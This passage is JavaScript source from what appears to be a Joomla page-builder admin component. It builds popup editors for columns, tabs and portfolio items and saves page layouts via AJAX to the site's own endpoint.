					this.height=600;
					break;
				case "page-config":
					this.width=400;
					this.height=350;
					break;
				case "contact_desi":
					this.width=600;
					this.height=400;
					break;
				case "columns_desi":
					this.width=350;
					this.height=800;
					break;
				case "html_desi":
					this.height=588;
					break;
				case "youtube_desi":
					this.width=500;
					this.height=450;
					break;
				case "vimeo_desi":
					this.width=400;
					this.height=630;
					break;
				case "moduleid_desi":
					this.width=400;
					this.height=450;
					break;
				case "alert_desi":
					this.width=400;
					this.height=400;
					jQuery(this.content).find('.st-nav-option').css({height:"330"});
					break;
				case "article_box_desi":
					this.width=350;
					this.height=330;
					break;
                case "pricing_desi":
                    this.width=500;
                    this.height=500;
                    break;
                case "skill_desi":
                    this.width=500;
                    this.height=500;
                    break;
				case "tabs_desi":
					this.width=400;
					this.height=350;
					break;
				case "divider_desi":
					this.width=300;
					this.height=242;
					break;
				case "flickr_desi":
					this.width=750;
					this.height=450;
					break;
				case "fb_likebox_desi":
					this.width=500;
					this.height=400;
					//jQuery(this.content).find('.st-nav-option').css({height:"330"});
					break;
				case "slider_desi":
					this.width=800;
					this.height=700;
					break;
				case "gallery_desi":
					this.width=800;
					this.height=630;
					break;
                case "services_desi":
                    this.width=500;
                    this.height=450;
                    break;
                case "gmap_desi":
                    this.width=600;
                    this.height=500;
                    break;
			
			}
		},
		afterLoad:function(){
			var typepopup =jQuery(this.element).attr("data-type");
			switch(typepopup){
				case "moduleid_desi":
					jQuery('#st-element-modules').appendTo(".st-navigation .st-listmodule");
					checkList('id','#jform_modules');
					break;
				case "article_box_desi":
					//load combobox article
					if(jQuery('.st-navigation .st-extension').val()=='com_k2'){
						jQuery('#st-element #st-element-k2contents').appendTo(".st-navigation .st-article");
						checkList('article_id','#jform_k2contents');
					}else{
						jQuery('#st-element #st-element-contents').appendTo(".st-navigation .st-article");
						checkList('article_id','#jform_contents');
					}
					break;
				//case "recent_article_desi":
//					jQuery('#st-element #st-element-k2category').appendTo(".st-navigation .st-category");
//					checkList('category_id','#jformk2category');
//					break;
				case "gallery_desi":
					var link = jQuery("#st-navigation .st-path").val();
					loadImages(link);
					break;
				case "slider_desi":
					var link = jQuery("#st-navigation .st-path").val();
					loadImages(link);
					break;
				case "gmap_desi":
					//jQuery('#st-element-map').appendTo("#st-navigation .st-loadgmap");
					var dt = jQuery.parseJSON(decodeURIComponent(jQuery(this.element).parent().parent().attr("data")));

				//	addGmap(dt.attr.latitude,dt.attr.longitude);
				//	jQuery('#st-navigation .st-lnggmap').val(dt.attr.longitude);
				//	jQuery('#st-navigation .st-latgmap').val(dt.attr.latitude);
					break;
				case "portfolio_desi":
					jQuery('#st-element #st-element-k2category').appendTo(".st-navigation .st-category");
					checkList('id','#jformk2category');
					break;
				case "html_desi":
					//getEditor();
					break;
                case "services_desi":
                    jQuery('#st-element #st-element-k2category').appendTo(".st-navigation .st-category");
                    checkList('category','#jformk2category');
                    break;
                // case "about_desi":
//					jQuery('#st-element #st-element-k2category').appendTo(".st-navigation .st-category");
//					checkList('category','#jformk2category');
//					break;  
//                  case "parallax_desi":
//					jQuery('#st-element #st-element-k2category').appendTo(".st-navigation .st-category");
//					checkList('category_id','#jformk2category');
//					break;    
			}
			jQuery(this.content).find('.btn-cancel').click(function(){
				jQuery.stbox.close();
			});
			jQuery(this.content).find('.st-nav-title .icon-cancel-circle').click(function(){
				jQuery.stbox.close();
			});
		},
		beforeClose:function(){
			var typepopup =jQuery(this.element).attr("data-type");
			switch(typepopup){
				//case "bgvideo_desi":
//					jQuery(this.content).find('#st-element-bgvideo').appendTo("#st-element");
//					break;
                case "moduleid_desi":
					jQuery(this.content).find('#st-element-modules').appendTo("#st-element");
					break;
				case "article_box_desi":
					jQuery(this.content).find('#st-element-k2contents').appendTo("#st-element");
					jQuery(this.content).find('#st-element-contents').appendTo("#st-element");
					break;
				case "recent_article_desi":
					jQuery(this.content).find('#st-element-k2category').appendTo("#st-element");
					jQuery(this.content).find('#st-element-category').appendTo("#st-element");
					break;
				case "gmap_desi":
					jQuery(this.content).find('#st-element-map').appendTo("#st-element");
					break;
				case "portfolio_desi":
					jQuery(this.content).find('#st-element-k2category').appendTo("#st-element");
					break;
                case "services_desi":
                    jQuery(this.content).find('#st-element-k2category').appendTo("#st-element");
                    break;
                //case "about_desi":
//                    jQuery(this.content).find('#st-element-k2category').appendTo("#st-element");
//                    break;
//                case "parallax_desi":
//                    jQuery(this.content).find('#st-element-k2category').appendTo("#st-element");
//                    break;
			}
			jQuery('#st-navigation').html("");
		}
	});
}

function checkList(id,sle){
	if(typeof(data_ele.attr[id])!='undefined'){
		jQuery('.st-navigation '+sle).val(data_ele.attr[id]);
		jQuery('.st-navigation  '+sle+' option[value='+data_ele.attr[id]+']').attr('selected','selected');
		var sele = jQuery('.st-navigation  '+sle+' option[value='+data_ele.attr[id]+']').text();
		jQuery('.st-navigation .chzn-container .chzn-single>span').text(sele);
		jQuery('.st-navigation .chzn-container .chzn-results li').removeClass("result-selected");
		jQuery('.st-navigation .chzn-container .chzn-results li').each(function(){
			if(jQuery(this).text()==sele){
				jQuery(this).addClass("result-selected ");
			}
		});
	}
}



// AddColumn
function AddColumn(item){
	data = jQuery.parseJSON(decodeURIComponent(jQuery(item).attr("data")));
	content ='<div class="row-fluid st-columns">';
	for(i=0;i<data.content.length;i++){
		content+='<div class="span'+data.content[i].attr.col+'" index="'+i+'">';
		content+='<span class="st-changerow" href="#st-navigation" index="'+i+'"><i class="icon-cog-2"></i></span>';
		content+='<ul class="sortable sortable-column"></ul>';
		content+='</div>';
	}
	content+='</div>';
	content+='<div class="btn-group column-button-group">';
		for(i=1;i<=6;i++)
			content+='<span class="btn '+((i==data.content.length)?'btn-primary':'')+'">'+i+'</span>';
	content+='</div>';
	jQuery(item).append(content);
	changeColumn();
	addsort();
	changeSpan();
}

function changeSpan(){
	jQuery('.st-changerow').stbox({
		padding     : 0,
		openEffect	: 'elastic',
		closeEffect	: 'elastic',
		helpers : {
			overlay:{
			  	closeClick :false,
			  	speedOut   : 200
			},
			title:null
		},
		closeBtn : false,
		autoSize : false,
		beforeLoad:function(){
			this.width=350;
			this.height=500;
			var sele = jQuery(this.element).closest(".st-column-container");
			var data = jQuery.parseJSON(decodeURIComponent(sele.attr("data")));
			var index = jQuery(this.element).attr("index");
			content ="<div class='st-nav-title'><i class='icon-columns'></i> Column<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
			content+="<div class='st-nav-option'>";
				content+="<label>Large Column:</label>";
				content+="<div class='row-fluid'><select class='st-lg-col span12'>";
				for(i=1;i<=12;i++){
					content+='<option value="'+i+'">col-lg-'+i+'</option>';
				}
				content+="</select></div>";

				content+="<label>Medium Column:</label>";
				content+="<div class='row-fluid'><select class='st-md-col span12'>";
					content+='<option value="0">---- Auto -----</option>';
				for(i=1;i<=12;i++){
					content+='<option value="'+i+'">col-md-'+i+'</option>';
				}
				content+="</select></div>";

				content+="<label>Small Column:</label>";
				content+="<div class='row-fluid'><select class='st-sm-col span12'>";
					content+='<option value="0">---- Auto -----</option>';
				for(i=1;i<=12;i++){
					content+='<option value="'+i+'">col-sm-'+i+'</option>';
				}
				content+="</select></div>";

				content+="<label>Phone Column:</label>";
				content+="<div class='row-fluid'><select class='st-xs-col span12'>";
					content+='<option value="0">---- Auto -----</option>';
				for(i=1;i<=12;i++){
					content+='<option value="'+i+'">col-xs-'+i+'</option>';
				}
				content+="</select></div>";
                content+="<label>Box Wrapper:</label>";
				content+="<div class='row-fluid'><select class='st-box span12'>";
					content+='<option value="0">No</option>';
					content+='<option value="1">Yes</option>';
				
				content+="</select></div>";
                
				content+="<label>Class:</label>";
				content+="<div class='row-fluid'><input type='text' class='st-spanclass span12' value='"+((data.content[index].attr.class==null)?"":data.content[index].attr.class)+"'></div>";
				content+="<label>Padding:</label>";
				content+="<div class='row-fluid'><input type='text' class='st-spanpadding span12' value='"+((data.content[index].attr.padding==null)?"":data.content[index].attr.padding)+"'></div>";
				content+="<div class='st-button-group'>";
					content+="<button class='btn btn-primary btn-save'>Save</button>";
					content+="<button class='btn btn-cancel'>Cancel</button>";
				content+="</div>";
			content+="</div>";
			jQuery('.st-navigation').html(content);
			jQuery('.st-navigation .st-lg-col option[value="'+data.content[index].attr.col+'"]').attr("selected","selected");
			jQuery('.st-navigation .st-md-col option[value="'+data.content[index].attr.col_md+'"]').attr("selected","selected");
			jQuery('.st-navigation .st-sm-col option[value="'+data.content[index].attr.col_sm+'"]').attr("selected","selected");
			jQuery('.st-navigation .st-xs-col option[value="'+data.content[index].attr.col_xs+'"]').attr("selected","selected");
			jQuery('.st-navigation .st-box option[value="'+data.content[index].attr.col_box+'"]').attr("selected","selected");
			jQuery('.st-navigation .btn-cancel').click(function(){
				jQuery.stbox.close();
			});
			jQuery('.st-navigation .icon-cancel-circle').click(function(){
				jQuery.stbox.close();
			});
			jQuery('.st-navigation .btn-primary.btn-save').click(function(){
				data.content[index].attr.col = jQuery('.st-navigation .st-lg-col').val();
				data.content[index].attr.col_md = jQuery('.st-navigation .st-md-col').val();
				data.content[index].attr.col_sm = jQuery('.st-navigation .st-sm-col').val();
				data.content[index].attr.col_xs = jQuery('.st-navigation .st-xs-col').val();
				data.content[index].attr.col_box = jQuery('.st-navigation .st-box').val();
				data.content[index].attr.class=jQuery('.st-navigation .st-spanclass').val();
				data.content[index].attr.padding=jQuery('.st-navigation .st-spanpadding').val();
                data.content[index].attr.box = jQuery('.st-navigation select[name="st-box"] option:selected').val();
				sele.attr("data",encodeURIComponent(JSON.stringify(data)));
				sele.find('div[index="'+index+'"]').attr("class","").addClass("span"+jQuery('.st-navigation .st-lg-col').val());
				jQuery.stbox.close();
			});
		}
	});
}

function changeColumn(){
	jQuery('.column-button-group span.btn').unbind('click');
	jQuery('.column-button-group span.btn').bind('click',function(){
		if(!jQuery(this).hasClass("btn-primary")){
			var sl = jQuery(this).closest('div');
			sl.find('span.btn').removeClass("btn-primary");
			jQuery(this).addClass("btn-primary");
			var col = jQuery(this).text();
			var data = jQuery.parseJSON(decodeURIComponent(jQuery(jQuery(this).closest("li")).attr("data")));
			
			var loop = true;
			if(col==5) classspan=2;
			else classspan=(12/col);
			sl.prev().find('[class^="span"]').attr("class","span"+classspan);
			var len = data.content.length;
			if(col>data.content.length){
				// Add column
				for(i=0;i<(col-len);i++){
					var index = sl.prev().find('>[class^="span"]').length;
					sl.prev().append("<div class='span"+classspan+"' index='"+index+"'><span class='st-changerow' href='#st-navigation' index='"+index+"'><i class='icon-cog-2'></i></span><ul class='sortable sortable-column'></ul></div>");
					arr = {"type":"column_item_desi","content":"","attr":{"col":classspan,"col_md":"0","col_sm":"0","col_xs":"0"}};
					data.content.push(arr);
				}
			}else{
				//remove column
				for(i=0;i<(len-col);i++){
					sl.prev().find('[class^="span"]:last-child').remove();
					data.content.pop();
				}
			}
			for(i=0;i<data.content.length;i++){
				if(i==4 && data.content.length==5) data.content[i].attr.col=4;
				else data.content[i].attr.col=classspan;
			}
			if(col==5) sl.prev().find('>[index^="4"]').attr("class","span4");
			sl.parent().attr("data",encodeURIComponent(JSON.stringify(data)));
			addsort();
		}
	});
}


function getColumDesignOption(data){
	content ="<div class='st-nav-title'><i class='icon-columns'></i> Column<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-column'>";
    /*    content+="<label>Title:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-title' value='"+((data.attr.title==null)?"":data.attr.title)+"' />";
		content+="</div>";
        content+="<label>Short description:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-sdesc' value='"+((data.attr.sdesc==null)?"":data.attr.sdesc)+"' />";
		content+="</div>";
	*/	content+="<label>Section ID:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-id' value='"+((data.attr.id==null)?"":data.attr.id)+"' />";
		content+="</div>";
		content+="<label>Section Class:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-class' value='"+((data.attr.class==null)?"":data.attr.class)+"' />";
		content+="</div>";
    //    content+="<label>Container ID:</label>";
	//	content+="<div class='row-fluid'>";
	//		content+="<input type='text' class='column-cid' value='"+((data.attr.cid==null)?"":data.attr.cid)+"' />";
	//	content+="</div>";
		content+="<label>Container Class:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-cclass' value='"+((data.attr.cclass==null)?"":data.attr.cclass)+"' />";
		content+="</div>";
    /*    content += getBt2Selectgroup('Heading tag', 'st-htag', '', '', data.attr.htag, [['H1', 'h1'],['H2', 'h2'],['H3', 'h3']], false);
		content += getBt2Selectgroup('Animate', 'st-animate', '', '', data.attr.animate, [['slideInLeft', 'slideInLeft'],
                                                                                        ['slideInRight', 'slideInRight'],
                                                                                        ['slideInDown', 'slideInDown'],
                                                                                        ['bounceInUp', 'bounceInUp'],
                                                                                        ['bounceInLeft', 'bounceInLeft'],
                                                                                        ['bounceInRight', 'bounceInRight'],
                                                                                        ['rotateInUpRight', 'rotateInUpRight'],
                                                                                        ['rotateInUpLeft', 'rotateInUpLeft'],
                                                                                        ['flipInX', 'flipInX'],
                                                                                        ['flipInY', 'flipInY'],
                                                                                        ['fadeInUpBig', 'fadeInUpBig'],
                                                                                        ['fadeInDownBig', 'fadeInDownBig'],
                                                                                        ['fadeIn', 'fadeIn'],
                                                                                        ['lightSpeedIn', 'lightSpeedIn'],
                                                                                        ['rollIn', 'rollIn'],
                                                                                        ['wobble', 'wobble'],
                                                                                        ['swing', 'swing'],
                                                                                        ['wobble', 'wobble'],
                                                                                        ],false);
				
        content+="<label>Heading Class:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-heading' value='"+((data.attr.heading==null)?"":data.attr.heading)+"' />";
		content+="</div>";
  */    content+="<label>Background image:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-bg' value='"+((data.attr.bg==null)?"":data.attr.bg)+"' />";
		content+="</div>";
        content+="<label>Background Ratio:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-icon' value='"+((data.attr.icon==null)?"":data.attr.icon)+"' />";
		content+="</div>";
    //    content+="<label>Padding:</label>";
	//	content+="<div class='row-fluid'>";
	//		content+="<input type='text' class='column-cpadding' value='"+((data.attr.cpadding==null)?"":data.attr.cpadding)+"' />";
	//	content+="</div>";        
		content+="<label>Overlay:</label>";
		content+="<div class='row-fluid'><div class='st-overlay st-radio'>"; 
			content+='<label class="radio inline"><input type="radio" name="st-overlay" value="1">Yes</label>';
			content+='<label class="radio inline"><input type="radio" name="st-overlay" value="0" checked="checked">No</label>';
		content+="</div></div>";        
		content+="<label>Full Width:</label>";
		content+="<div class='row-fluid'><div class='st-fullwidth st-radio'>"; 
			content+='<label class="radio inline"><input type="radio" name="st-fullwidth" value="1" checked="checked">Yes</label>';
			content+='<label class="radio inline"><input type="radio" name="st-fullwidth" value="0">No</label>';
		content+="</div></div>";
        content+="<label>State:</label>";
		content+="<div class='row-fluid'><div class='st-state st-radio'>"; 
			content+='<label class="radio inline"><input type="radio" name="st-state" value="1" checked="checked">Yes</label>';
			content+='<label class="radio inline"><input type="radio" name="st-state" value="0">No</label>';
		content+="</div></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	if(typeof data.attr.overlay !='undefined'){
		jQuery('#st-navigation .st-overlay [value="'+data.attr.overlay+'"]').prop('checked', true);
	}
	if(typeof data.attr.fullwidth !='undefined'){
		jQuery('#st-navigation .st-fullwidth [value="'+data.attr.fullwidth+'"]').prop('checked', true);
	}
    if(typeof data.attr.state !='undefined'){
		jQuery('#st-navigation .st-state [value="'+data.attr.state+'"]').prop('checked', true);
	}
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveColumnDesign(data);
	});
}

function saveColumnDesign(data){
	data.attr.title = jQuery.trim(jQuery('#st-navigation .column-title').val());
	data.attr.sdesc = jQuery.trim(jQuery('#st-navigation .column-sdesc').val());
	data.attr.id = jQuery.trim(jQuery('#st-navigation .column-id').val());
	data.attr.class = jQuery.trim(jQuery('#st-navigation .column-class').val());
	data.attr.cid = jQuery.trim(jQuery('#st-navigation .column-cid').val());
	data.attr.cclass = jQuery.trim(jQuery('#st-navigation .column-cclass').val());
	data.attr.heading = jQuery.trim(jQuery('#st-navigation .column-heading').val());
    data.attr.htag = jQuery('select[name="st-htag"] option:selected').val();
    data.attr.animate = jQuery('select[name="st-animate"] option:selected').val();
	data.attr.bg = jQuery.trim(jQuery('#st-navigation .column-bg').val());
	data.attr.icon = jQuery.trim(jQuery('#st-navigation .column-icon').val());
	data.attr.cpadding = jQuery.trim(jQuery('#st-navigation .column-cpadding').val());
	data.attr.overlay = jQuery('#st-navigation .st-overlay input[type="radio"]:checked').val();
	data.attr.fullwidth = jQuery('#st-navigation .st-fullwidth input[type="radio"]:checked').val();
	data.attr.state = jQuery('#st-navigation .st-state input[type="radio"]:checked').val();
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}

function ColumnDesign(sele,data){
	jQuery(sele).find('.sortable-column').each(function(index){
		for(i=0;i<data[index].content.length;i++){
			var html="";
			if(arrayType[data[index].content[i].type].type=="tabs_desi"){
				arrayType[data[index].content[i].type].class="st-tabs-container";
			}
			html+="<li data-type='"+arrayType[data[index].content[i].type].type+"' class='ui-state-highlight btn ui-draggable "+arrayType[data[index].content[i].type].class+"' style='display:block;' data=\""+encodeURIComponent(JSON.stringify(data[index].content[i]))+"\">";
			html+="<div class='st-header-title'>";
			html+="<span class='st-name'>"+arrayType[data[index].content[i].type].name+"</span> ";
			html+="<span href='#' class='st-close' title='Close'><i class='icon-cancel-circle'></i></span> ";
			html+="<span href='#st-navigation' data-type='"+arrayType[data[index].content[i].type].type+"' title='Edit' class='st-edit stmodal'><i class='icon-cog-2'></i></span>";
			if(arrayType[data[index].content[i].type].type=="tabs_desi"){
			html+='<span class="st-hide"><i class="icon-new-window"></i></span>';
			}else{
			
			}
			html+='<span href="#" class="st-duplicate" title="Duplicate"><i class="icon-copy"></i></span>';
			html+="</div>";
			if(data[index].content[i].type=='tabs_desi'){
				var id = makeid();
				html+='<div class="st-tabitems">';
					html+='<ul class="nav nav-tabs" id="myTab-'+id+'">';
					for(j=0;j<data[index].content[i].content.length;j++){
						html+='<li '+((j==0)?'class="active"':'')+'><a class="st-tab" href="#'+id+'-'+j+'" index="'+j+'" >'+data[index].content[i].content[j].attr.title;
							html+='<input index="'+j+'" class="input-edittab" type="text" id="myTab-input-'+id+'-'+j+'" value="'+data[index].content[i].content[j].attr.title+'" />'
							html+='<i class="icon-cancel-circle" title="close" index="#'+id+'-'+j+'"></i>';
						html+='</a></li>';
					}
						html+='<li><a class="newtab" href="#"><i class=" icon-plus"></i></a></li>';
					html+='</ul>';
					html+='<div class="tab-content">';
					for(j=0;j<data[index].content[i].content.length;j++){
						html+='<div class="tab-pane '+((j==0)?'active':'')+'" id="'+id+'-'+j+'"><ul class="sortable sortable-tabitem">';
						for(var k=0;k<data[index].content[i].content[j].content.length;k++){
							html+="<li data-type='"+data[index].content[i].content[j].content[k].type+"' class='ui-state-highlight btn ui-draggable "+arrayType[data[index].content[i].content[j].content[k].type].class+"' style='display:block;' data='"+encodeURIComponent(JSON.stringify(data[index].content[i].content[j].content[k]))+"'>";
								html+="<div class='st-header-title'>";
									html+="<span class='st-name'>"+arrayType[data[index].content[i].content[j].content[k].type].name+"</span> ";
									html+="<span href='#' class='st-close' title='Close'><i class='icon-cancel-circle'></i></span> ";
									html+="<span href='#st-navigation' data-type='"+data[index].content[i].content[j].content[k].type+"' title='Edit' class='st-edit stmodal'><i class='icon-cog-2'></i></span>";
								html+="</div>";
							html+="</li>";
						}
						html+='</ul></div>';
					}
					html+='</div>';
				html+='</div>';
			}
			html+="</li>";
			jQuery(this).append(html);
			jQuery('[id*="myTab"] a.newtab').click(function (e) {
				
				var array = jQuery(this).parent().prev().find('.input-edittab').attr('id').split("-");
				array[3]=(array[3]+1);
				jQuery(this).parent().before('<li class=""><a class="st-tab" href="#'+array[2]+'-'+array[3]+'"><span class="tabname">New Tab</span><input class="input-edittab" type="text" id="myTab-input-'+array[2]+'-'+array[3]+'" value="New Tab" /><i class="icon-cancel-circle" title="close" index="#'+array[2]+'-'+array[3]+'"></a></li>');
				jQuery(this).parent().parent().parent().find('.tab-content').append('<div class="tab-pane " id="'+array[2]+'-'+array[3]+'"><ul class="sortable sortable-tabitem ui-sortable"></ul></div>');
				addEventTab(array[2]);
				jQuery('#st-page #myTab-'+array[2]+' .input-edittab').hide();
				return false;
			});
			jQuery('[id*="myTab"] a.st-tab .icon-cancel-circle').click(function(){
				var sele = jQuery(this).attr('index');
				var count = jQuery(this).parent().parent().parent().find('>li').length;
				if(count==2){
					alert('Keep minimum 1 tab');
					return false;
				}else{
					jQuery(sele).remove();
					jQuery(this).parent().parent().remove();
					return false;
				}
			});
			jQuery('[id*="myTab"] a.st-tab').click(function (e) {
				e.preventDefault();
				jQuery(this).tab('show');
			});
			jQuery('[id*="myTab"] [id*="myTab-input"]').hide();
		}
	});
}

//////////////////////////////// Button ////////////////////////////////////
function appendDataColumn(sele){
	if(!sele.hasClass("st-column-container")){
		arr = [];
		sele.each(function(index){
			arr.push(jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data"))));
		});
		return arr;
	}else{
		data = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")));
		jQuery(this).find('.sortable-column').each(function(){
			var a = appendDataColumn(jQuery(this).find('>li'));
			data.content[index].content.push(a);
		});
		return data;
	}
}

function saveblue_pagebuilder(){
		jQuery('#system-message-container').html("");

		name=jQuery("#toolbar #inputNamepage").val();

		if(name==""){
			alert("Name Page is not empty !");
			jQuery("#toolbar #inputNamepage").focus();
			return false;
		}
		arr = [];
		jQuery('#st-page>li').each(function(){
			if(jQuery(this).hasClass("st-column-container")){
				data = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")));
				jQuery(this).find('.sortable-column').each(function(index){
					var a = [];
					jQuery(this).find('>li').each(function(){
						if(jQuery(this).attr("data-type")=='tabs_desi'){
							jQuery(this).attr("data",saveTabOption(jQuery(this),jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")))));
						}
						a.push(jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data"))));
					});
					data.content[index].content = a;
				});
				jQuery(this).attr("data",encodeURIComponent(JSON.stringify(data)));
			}else if(jQuery(this).hasClass("st-tabs-container")){
				data = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")));
				jQuery(this).attr("data",saveTabOption(jQuery(this),data));
			}
			//jQuery('#st-debug').html();
			arr.push(jQuery(this).attr('data'));
		});
		json = JSON.stringify(arr);
		var config = {"id":jQuery.trim(jQuery('#page-id-config').val()),"class":jQuery.trim(jQuery('#page-class-config').val()),"fullwidth":jQuery('#page-fullwidth [name="page-fullwidth"]:checked').val(),"author":jQuery.trim(jQuery('#page-author-config').val())};
		jQuery.ajax({
			type:"POST",
			url:"index.php?option=com_blue_pagebuilder&task=page.stSave&tmpl=component",
			data:{data:json,id:jQuery('#stid').val(),name:name,config:JSON.stringify(config)},
			dataType : 'html',
			beforeSend :function(){
				ajaxbeforesend();
			},
			success:function(response){
				//console.log(response);
				ajaxsuccess(response);
				
				//jQuery('#system-message-container').html('<div><button type="button" class="close" data-dismiss="alert">×</button><div class="alert alert-success"><h4 class="alert-heading">Message</h4><p>'+response+'</p></div>');
			}
		});
	}

function buttonsave(){
	jQuery("#toolbar-apply").click(function(){
		saveblue_pagebuilder();
	});
	jQuery("#toolbar-save").click(function(){
		saveblue_pagebuilder();
		//setTimeout(function(){window.location="index.php?option=com_blue_pagebuilder";},wait);
		jQuery("body").on("stSaveSuccess", function(){
			window.location="index.php?option=com_blue_pagebuilder";
		});
	});
}
function ajaxbeforesend(){
	var inputs = jQuery("#toolbar").find("input, select, button, textarea");
    inputs.prop("disabled", true);
    jQuery('#st-save-eff .icon-spinner').show();
    jQuery('#st-save-eff .message').hide();
	jQuery('#st-save-eff').show();
	jQuery('.st-design .st-items,.st-design .st-desi').css({opacity:0.6});
}

function ajaxsuccess(response){
	var inputs = jQuery("#toolbar").find("input, select, button, textarea");
    inputs.prop("disabled", false);
    jQuery('#st-save-eff .icon-spinner').hide();
    jQuery('#st-save-eff .message').fadeIn(200);
    var wait = window.setTimeout( function(){
	    	jQuery('#st-save-eff').fadeOut(400);
	    	jQuery('.st-design .st-items,.st-design .st-desi').css({opacity:1});
		},1000
	);
	jQuery("body").trigger("stSaveSuccess");
}

////////////////////////////////  Item //////////////////////////////////////


// get Portfolio Option
function getPortfolioOption(data){
	content ="<div class='st-nav-title'><i class='icon-folder-open-alt'></i> Portfolio<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-portfolio'>";
		content +="<div class='row-fluid'>";
			content +="<div class='span6'>";
				content+="<label>Category:</label>";
        		content+="<div class='row-fluid st-category'></div>";
        	//	content += getBt2Inputgroup([['text', 'st-title','span12','','Title','Title', data.attr.title,'Portfolio']],false);
        	//	content += getBt2Textareagroup([['st-description','span12','',data.attr.description,'Description', '5','']], false);
            //    content += getBt2Inputgroup([['text', 'st-stid','span12','','Id','Id', data.attr.stid,'Id']],false);
        		content += getBt2Inputgroup([['text', 'st-menuid','span12','','Menu Id','Menu Id', data.attr.menuid,'']],false);
				content += getBt2Inputgroup([['text', 'st-itemcount','span12','','Count','Count', data.attr.count,'All']],false);
				content += getBt2Selectgroup('Order', 'st-order', 'span12', '', data.attr.order, [['Created', 'created'],['Ordering', 'ordering'],['ID', 'id']], false);
        	//	content += getBt2Textareagroup([['st-class','span12','',data.attr.class,'Class', '5','Portfolio class']], false);
			
            content +="</div>";
			content +="<div class='span6'>";
				content += getBt2Selectgroup('Direction', 'st-direction', 'span12', '', data.attr.direction, [['ASC', 'ASC'],['DESC', 'DESC']], false);
				content += getBt2Selectgroup('Columns', 'st-portfolio-columns', 'span12', '', data.attr.columns, [['2 Columns', '2'],['3 Columns', '3'],['4 Columns', '4'],['6 Columns', '6']], false);
				content += getBt2Selectgroup('State', 'st-state', 'span12', '', data.attr.state, [['Yes', '1'],['No', '0']], false);
				content += getBt2Selectgroup('Template', 'st-portfolio-template', 'span12', '', data.attr.template, [['Blog Caousel', 'blog_carousel'],['Blog List', 'blog_list']], false);
			content +="</div>";
		content +="</div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";

	jQuery('.st-navigation').html(content);
	jQuery('#st-navigation .btn-primary.btn-save').click(function(){
		savePortfolio(data);
	});
}



function savePortfolio(data){
	data.attr.id = jQuery('#st-navigation .st-category select').val();
	data.attr.title = jQuery('#st-navigation .st-portfolio [name="st-title"]').val();
    data.attr.description = jQuery('#st-navigation .st-portfolio [name="st-description"]').val();
	data.attr.stid = jQuery('#st-navigation .st-portfolio [name="st-stid"]').val();
	data.attr.menuid = jQuery('#st-navigation .st-portfolio [name="st-menuid"]').val();
    data.attr.class = jQuery('#st-navigation .st-portfolio [name="st-class"]').val();
    data.attr.order = jQuery('select[name="st-order"] option:selected').val();
    data.attr.direction = jQuery('select[name="st-direction"] option:selected').val();
    data.attr.state = jQuery('select[name="st-state"] option:selected').val();
	data.attr.count = jQuery('input[name="st-itemcount"]').val();
    data.attr.columns = jQuery('select[name="st-portfolio-columns"] option:selected').val();
	data.attr.template = jQuery('select[name="st-portfolio-template"] option:selected').val();
	jQuery('#st-page li.st-focus').attr("data",encodeURIComponent(JSON.stringify(data)));
	jQuery.stbox.close();
}
// End Portfolio

// Get Option Tabs
function getTabsOption(data){
	content ="<div class='st-nav-title'><i class='icon-box'></i> Tabs<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
        content+='<label>Title:</label>';
		content+='<div class="row-fluid"><input type="text" class="st-title" value="'+((data.attr.title!=null)?data.attr.title:"")+'" /></div>';
        content+='<label>Heading class:</label>';
		content+='<div class="row-fluid"><input type="text" class="st-hclass" value="'+((data.attr.hclass!=null)?data.attr.hclass:"item_heading")+'" /></div>';
        
		content+="<label>Type:</label>";
		content+="<div class='row-fluid'><select class='st-tabposition'>";
			content+='<option value="style1">Horizontal Tabs</option>';
			content+='<option value="accordion">Accordions</option>';
		content+="</select></div>";
        content+="<label>State:</label>";
        content+="<div class='row-fluid'><select class='st-state'>";
			content+='<option value="1">Yes</option>';
			content+='<option value="0">No</option>';
		content+="</select></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-navigation .st-tabposition [value="'+data.attr.position+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-state [value="'+data.attr.state+'"]').attr("selected","selected");
    jQuery('.st-navigation .st-title [value="'+((data.attr.title!=null)?data.attr.title:"")+'"]').prop("checked",true);
    jQuery('.st-navigation .st-hclass [value="'+((data.attr.hclass!=null)?data.attr.hclass:"")+'"]').prop("checked",true);
    
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveTabs(data);
	});
}

function saveTabs(data){
    data.attr.title = jQuery('.st-nav-option .st-title').val();
    data.attr.hclass = jQuery('.st-nav-option .st-hclass').val();
	data.attr.position=jQuery('.st-nav-option .st-tabposition').val();
